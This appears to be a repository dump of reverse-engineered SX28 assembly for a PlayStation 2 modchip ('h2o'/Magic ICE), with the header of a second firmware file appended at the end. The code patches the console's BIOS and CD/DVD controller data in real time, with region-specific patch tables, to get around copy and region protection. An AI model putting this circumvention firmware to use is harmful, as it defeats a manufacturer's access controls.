retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#$75 mov VAR_DC3,w snb VAR_PATCH_FLAGS.3 jmp PS2LOGO_PATCH_11_17_JMP1 mov w,#$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_19_20_JMP1 PS2LOGO_PATCH_11_17_JMP1 retw $50 retw $81 PS2LOGO_PATCH_19_20_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#$ab mov VAR_DC3,w snb VAR_PATCH_FLAGS.3 jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af PS2LOGO_PATCHLOAD_22_JMP1 mov w,#$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 START_PS2LOGO_PATCH_LOAD mov w,#$7b mov VAR_DC1,w snb VAR_SWITCH.5 jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#$6e mov VAR_DC1,w PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w mov w,#$15 mov fsr,w PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr mov w,#$10 or fsr,w inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb VAR_PATCH_FLAGS.2 page $0200 jmp Label_0097 snb VAR_SWITCH.3 page $0200 jmp POST_PATCH_4_MODE_START2 PS1_DETECTED_REBOOT clr fsr mov w,#$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb VAR_SWITCH.5 jmp PS1_DETECTED_REBOOT_JMP20to22 mov w,#$67 mov VAR_DC2,w mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w snb VAR_SWITCH.0 jmp PS1_DETECTED_REBOOT_JMP20to22 mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb VAR_PATCH_FLAGS.3 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#$1e mov VAR_PSX_TEMP,w PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#$57 mov VAR_DC2,w PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w PS1_DETECTED_REBOOT_L1 mov w,#$ff mov VAR_DC3,w PS1_DETECTED_REBOOT_L2 mov w,#$ff mov VAR_DC1,w AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 IFDEF RSTBUMP mode $000B ; XBh IO_CDDVD_BUS WKEN_B: Wakeup Enable Register (MODE=XBh) Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable, MIWU operation. see Section 4.4. mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; above set for IO_CDDVD_BUS mode $000F ; XFh mode direction for RA, IO_CDDVD_BUS, RC output mov w,#$0 ; 0000 0000 mov IO_CDDVD_BUS,w ; IO_CDDVD_BUS = 0 ? clear IO_CDDVD_BUS values mov w,#$fb ; 1111 1011 IO_REST IO_REST output ELSE mov w,#$0 ; set w = #$0 = 0 mov IO_CDDVD_BUS,w ; set IO_CDDVD_BUS = w = 0 ? clear IO_CDDVD_BUS values mov w,#$fe ; 1111 1110 IO_CDDVD_BUS_f F output ENDIF mov !IO_CDDVD_BUS,w page $0000 call MODE_SELECT_TIMER mov w,#$ff mov !IO_CDDVD_BUS,w setb VAR_PATCH_FLAGS.2 page $0000 jmp CHECK_IF_V9to14 PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START mov w,#$1b mov fsr,w snb VAR_SWITCH.5 jmp PS1_MODE_L5 snb VAR_SWITCH.0 jmp PS1_MODE_v12_PATCHS mov w,#$3c mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_TOFFSET jmp PS1_DETECTED_REBOOT_JMP11to17_ALL PS1_MODE_SUCESSFUL_END snb VAR_PATCH_FLAGS.2 jmp PS1_CONSOLE_ALL_JMPNTSC setb VAR_PATCH_FLAGS.0 page $0200 jmp POST_PATCH_4_MODE_START2 PS1_MODE_v12_PATCHS mov w,#$1c mov fsr,w setb VAR_SWITCH.1 page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 PS1_CONSOLE_PAL_YFIX mov w,#$3c mov IO_BIOS_DATA,w mov w,#$b mov VAR_DC2,w mov w,#$15 mov fsr,w PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_TOFFSET jmp PS1_CONSOLE_PAL_YFIX PS1_CONSOLE_ALL_JMPNTSC mov w,#$34 ; should jmp here for ntsc but is no flow to here besides via ps1 hence poor ntsc console ps1 support h2o. is no ntsc yfix mov VAR_DC1,w mov w,#$18 mov VAR_DC3,w mov VAR_TOFFSET,w PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_TOFFSET jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w setb VAR_PATCH_FLAGS.0 page $0000 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- NOTCALLED4 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 115 ;-------------------------------------------------------------------------------- jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb VAR_PATCH_FLAGS.2 ; VAR_PATCH_FLAGS.2 clrb here related finish mode run ? setb VAR_PATCH_FLAGS.1 setb VAR_PATCH_FLAGS.0 setb VAR_SWITCH.4 mov w,#$73 mov VAR_DC1,w ; VAR_DC1 = 73h = 115 clr w mov VAR_DC3,w ; VAR_DC3 = 0 mov w,#$15 mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- NOTCALLED2 snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R snb VAR_SWITCH.5 jmp V9toV14_CONSOLE_CDDVD_START mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START V1toV8_CONSOLE_CDDVD_START mov w,#$4 mov VAR_DC1,w V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT V9toV14_CONSOLE_CDDVD_START mov w,#$f mov VAR_DC1,w V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb VAR_PATCH_FLAGS.2 page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$1f V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R mov w,#$5 mov VAR_DC1,w call MECHACON_WAIT_OE mov w,#$ff mov !IO_CDDVD_BUS,w V9toV12_CONSOLE_PATCH1_POST snb VAR_PATCH_FLAGS.2 page $0000 jmp PS1_MODE_START_PATCH ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF RSTBUMP sb IO_CDDVD_BUS_h setb VAR_PATCH_FLAGS.6 ENDIF snb VAR_PATCH_FLAGS.2 page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP mov w,#$90 mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R snb VAR_PATCH_FLAGS.6 jmp CDDVD_JAP snb VAR_PATCH_FLAGS.4 jmp CDDVD_PAL clr w jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_PAL mov w,#$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_JAP mov w,#$10 ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w mov w,#$8 mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ALL_CDDVD_PATCH_SYNC2_BIT mov w,#$3 mov VAR_DC1,w ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 mov w,#$f mov !IO_CDDVD_BUS,w RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff mov !IO_CDDVD_BUS,w snb VAR_PATCH_FLAGS.1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT CDDVD_IS_PS1 clrb VAR_PATCH_FLAGS.1 snb VAR_PATCH_FLAGS.0 page $0200 jmp POST_PATCH_4_MODE_START2 page $0400 jmp PS1_DETECTED_REBOOT FINISHED_RUN_START page $0000 call SET_RB_IO_BUS_WAKE mov w,#$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call MODE_SELECT_TIMER page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP end
1nick9/PS2-Magic-ICE-FINAL-REVERSE	119,115	h2oWIP/h2o-orange-F-ntscconsoleps1fix-v8japsupportadded.s	;****************************************************************************** ; h2o-orange-F-ntscconsoleps1fix-v8japsupportadded.sxh hash 3158b96dd151bdd71406c4c05b80915e ;**************************************************************************** device SX28,TURBO,PROTECT,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ;DEFINE RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr ;USE ONLY IF F=TR commented out RSTBUMP ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal d8d6a5acf3e30901b45b75b001ff457c ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa 